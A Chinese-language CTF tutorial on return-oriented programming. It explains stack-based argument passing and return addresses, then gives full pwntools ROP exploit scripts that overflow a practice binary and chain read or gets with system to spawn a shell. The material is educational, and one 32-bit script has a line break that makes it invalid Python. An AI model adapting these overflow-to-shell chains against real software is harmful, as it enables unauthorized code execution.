ROP(Return-Oriented Programming, 返回导向编程)
通俗理解,就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。
所以,首先,你的pwn题需要有一个溢出点,下面,讲解一下我对ROP的理解,仅供个人参考。
知识点
1. 在32位程序中,参数是以什么形式进行传递的?
在32位程序中,参数传递主要通过想栈内压入值。我们来看一个例子:
#include<stdio.h>
void main() {
int a = 1;
int b = 2;
printf("sum: %d", sum(a, b));
}
int sum(int a, int b) {
return a + b;
}
产生的汇编语言如下
0x0804840B lea ecx, [esp+4]
0x0804840F and esp, 0FFFFFFF0h
0x08048412 push dword ptr [ecx-4]
0x08048415 push ebp
0x08048416 mov ebp, esp
0x08048418 push ecx
0x08048419 sub esp, 14h
0x0804841C mov [ebp+var_10], 1 # 此处变量赋值 a
0x08048423 mov [ebp+var_C], 2 # 此处变量赋值 b
0x0804842A sub esp, 8
0x0804842D push [ebp+var_C] # 此处往栈中压入 b 的地址
0x08048430 push [ebp+var_10] # 此处往栈中压入 a 的地址
0x08048433 call sum
0x08048438 add esp, 10h
0x0804843B sub esp, 8
0x0804843E push eax
0x0804843F push offset format ; "sum: %d"
0x08048444 call _printf
0x08048449 add esp, 10h
0x0804844C nop
0x0804844D mov ecx, [ebp+var_4]
0x08048450 leave
0x08048451 lea esp, [ecx-4]
0x08048454 retn
32位程序中在执行sum
函数时,通过观察汇编代码,我们大致可以看到程序在调用函数时,对栈进行了一系列操作。
首先,程序向栈中压入变量 b,此时的栈:
栈地址 | 值 |
---|---|
0xffffceb4 | 2 # b 的值 |
然后,程序向栈中压入变量 a,此时的栈:
栈地址 | 值 |
---|---|
0xffffceb0 | 1 # a 的值 |
0xffffceb4 | 2 # b 的值 |
在执行call sum
的时候,相当于执行了2条指令:
push eip
jmp sum
栈的变化:
栈地址 | 值 |
---|---|
0xffffceac | 0x8048438 # sum的下一条指令 |
0xffffceb0 | 1 # a 的值 |
0xffffceb4 | 2 # b 的值 |
2. 在64位程序中,参数是以什么形式进行传递的?
我们再通过上述c代码编译成64位程序看一下汇编代码
0x400526 push rbp
0x400527 mov rbp, rsp
0x40052A sub rsp, 10h
0x40052E mov [rbp+var_8], 1 # 变量 a 赋值
0x400535 mov [rbp+var_4], 2 # 变量 b 赋值
0x40053C mov edx, [rbp+var_4] # 变量 b 传参
0x40053F mov eax, [rbp+var_8] # 变量 a 传参
0x400542 mov esi, edx # 变量 b 传参
0x400544 mov edi, eax # 变量 a 传参
0x400546 mov eax, 0
0x40054B call sum
0x400550 mov esi, eax
0x400552 mov edi, offset format ; "sum: %d"
0x400557 mov eax, 0
0x40055C call _printf
0x400561 nop
0x400562 leave
0x400563 retn
通过上述汇编代码,我们可以发现,64位程序中,参数的赋值跟32位的区别非常大,64位程序中,我们的参数传递顺序为rdi,rsi,rdx,rcx.r8,r9
3. 什么是return address?
通过第1点中描述,在执行call sum
的时候,会将sum
的下一条命令的执行地址0x8048438
压入栈中,然后程序进入sum片段进行执行,此时,0x8048438
地址就是sum
函数的返回地址,即 return address。
我们看一下sum函数的汇编程序(以32位程序为例):
0x8048455 push ebp
0x8048456 mov ebp, esp
0x8048458 mov edx, [ebp+arg_0]
0x804845B mov eax, [ebp+arg_4]
0x804845E add eax, edx
0x8048460 pop ebp
0x8048461 ret
当执行到ret时,栈空间如下
栈地址 | 值 |
---|---|
0xffffceac | 0x8048438 # sum的下一条指令 |
0xffffceb0 | 1 # a 的值 |
0xffffceb4 | 2 # b 的值 |
当执行完ret后,栈空间为
栈地址 | 值 |
---|---|
0xffffceb0 | 1 # a 的值 |
0xffffceb4 | 2 # b 的值 |
程序指定的位置为:
0x0804842A sub esp, 8
0x0804842D push [ebp+var_C]
0x08048430 push [ebp+var_10]
0x08048433 call sum
0x08048438 add esp, 10h # 程序执行ret后跳转到这个位置
0x0804843B sub esp, 8
0x0804843E push eax
4. 怎么利用控制栈空间来达到执行程序命令?
通过 1,2,3 这几个知识点的案例,我们已经大致能够了解在程序执行过程中,栈空间的变化,那么接下来,我们研究一下如何用ROP技术,来获取flag。
我们看一道例题。
检查保护机制,没有特别的障碍。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
以下代码通过IDA反编译,以32为程序举例:
int __cdecl main()
{
init();
return pwnme();
}
int pwnme()
{
char buf; // [esp+4h] [ebp-44h]
puts("pwd : ");
read(0, &buf, 0x100u);
// gets(&buf); 64为程序中用的是gets
if ( strcmp(&buf, "1qazcde3") )
{
puts("NO FUNCTION");
exit(0);
}
return puts("DONE!");
}
通过代码审计,我们可以很明显看出这是一道栈溢出的漏洞。
怎么看出来的?因为gets函数不会限制你输入的长度,所以很容易溢出到return address。
- 寻找函数表,发现存在system函数
- 寻找字符串表,未发现 /bin/sh 相关字符串
- 如果没有 /bin/sh,那么我们就构造一个 /bin/sh
- 通过ROP让程序执行 gets函数,并接收一个字符串赋值到 bss 段,bss段存放的是全局变量的数据段,可利用此数据段作为 system函数的传入参数。
- 我们通过构造字符串,绕过 1qazcde3 判断,让程序成功运行到 return address。
我们的ROP链设计如下:
“1qazcde3\x00” + 补齐字符串 + 覆盖return address 为 gets/read 地址 + 传入bss地址进行赋值 + 将bss作为参数 + 调用 system 函数。
接下来我们看看在32位和64位程序中,如果去构造上述的ROP链。
5. 32位中构造ROP
这里我们需要用到read,提供的代码中没有get,话不多说,亮代码:
from pwn import *
context.log_level='debug'
p=process('./pwn_rop1')
read_addr=0x8048410
system_addr=0x8048430
bss_addr=0x0804A060
# p32(0) 为system执行后的return address,永远用不到
payload="1qazcde3\x00".ljust(68, 'a')+'b'*4 + p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(256)
p.recvuntil("pwd : \n")
#gdb.attach(p,"b *0x080485CF")
p.sendline(payload)
p.recvuntil("DONE!\n")
# 此处要给上面调用的read函数传递内容
p.sendline("/bin/sh\x00")
p.interactive()
这里需要解释一下p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(256)
为什么如此构造。
read_addr 是 pwnme 函数执行结束后的返回地址,而这里的read_addr指向的是plt表,在执行plt表所指向的read_addr函数时,stack中的数展现如下:
stack | 作用 |
---|---|
system_addr | read执行完成后的return address |
p32(0) | read函数的第1个参数 unsigned int fd |
p32(bss_addr) | read函数的第2个参数 char *buf |
p32(255) | read函数的第3个参数 size_t count |
这样的栈结构相当于,执行了read(0, bss_addr, 255)
后,重新跳转到system_addr,而跳转到system_addr后,stack如下:
stack | 作用 |
---|---|
p32(0) | system函数的return address |
p32(bss_addr) | system函数的第1个参数 char *buf |
p32(255) | 用不到 |
也就是说,read结束后,程序走到了system的plt中去执行程序,而此时将bbs_addr当做参数传给了system,相当于执行了system(bss_addr)
。
由于bbs_addr已经被我们写入了/bin/sh
,此时system函数调用时将会给我们返回一个shell,所以system的return address是什么并不重要。
思考
上面 system 的/bin/sh
参数只是恰好把 read指令的参数作为自己的参数,而实现了get shell,如果运气没那么欧怎么办?
没关系,我们来看看另一种通用的实现方式,打开ropper工具,查看文件的指令
ropper -f pwn_rop1
仔细找找灵感
没错,我们可以利用pop
指令,实现对栈的清除,已知 read 函数用到了3个参数,那么,这里我们就采用 3 个pop的0x080486b9: pop esi; pop edi; pop ebp; ret;
于是,修改代码如下:
from pwn import *
context.log_level='debug'
p=process('./pwn_rop1')
read_addr=0x8048410
system_addr=0x8048430
bss_addr=0x0804A060
rop_pop3=0x080486b9
payload="1qazcde3\x00".ljust(68, 'a')+'b'*4 + p32(read_addr) + p32(rop_pop3) # 清空read的3各参数
+ p32(0) + p32(bss_addr) + p32(256) + p32(system_addr)+p32(0)+p32(bss_addr)
p.recvuntil("pwd : \n")
#gdb.attach(p,"b *0x080485CF")
p.sendline(payload)
p.recvuntil("DONE!\n")
# 此处要给上面调用的read函数传递内容
p.sendline("/bin/sh\x00")
p.interactive()
成功 get shell !
6. 64位中构造ROP
from pwn import *
context.log_level="debug"
p=process("./pwn_rop2")
elf=ELF("./pwn_rop2")
gets=elf.plt["gets"]
bss=0x601060
system=elf.plt["system"]
pop_rdi=0x400883
p.recvuntil("pwd : \n")
#pause()
#gdb.attach(p,"b *0x4007A7")
#raw_input()
#p32(gets)+p32(system)+p32(bss)+p32(bss)
payload="1qazcde3\x00".ljust(64,"1")+'a'*8+p64(pop_rdi)+p64(bss)+p64(gets)+p64(pop_rdi)+p64(bss)+p64(system)
p.sendline(payload)
p.recvuntil("DONE!\n")
p.sendline("/bin/sh\x00")
p.interactive()
在64位payload构造中,由于参数传递的方式不同,gets的第一个参数为RDI,所以,我们需要在程序中要到这样一个片段,为我们的gets函数传递参数。
pop rdi; ret;
在系统中我们也可以通过 ROPgadget
工具,寻找 pwn_rop2 中可以利用的片段(和ropper差不多)。具体使用方式如下:
ROPgadget --binary pwn_rop2 | grep "pop rdi"
程序返回如下内容
0x0000000000400883 : pop rdi ; ret
x64相较于上面的x86会更加直观更好理解。
以下是相关题目内容,大家可以回去实验一下,通过gdb进行观察各个寄存器和栈空间的变化,来巩固学习。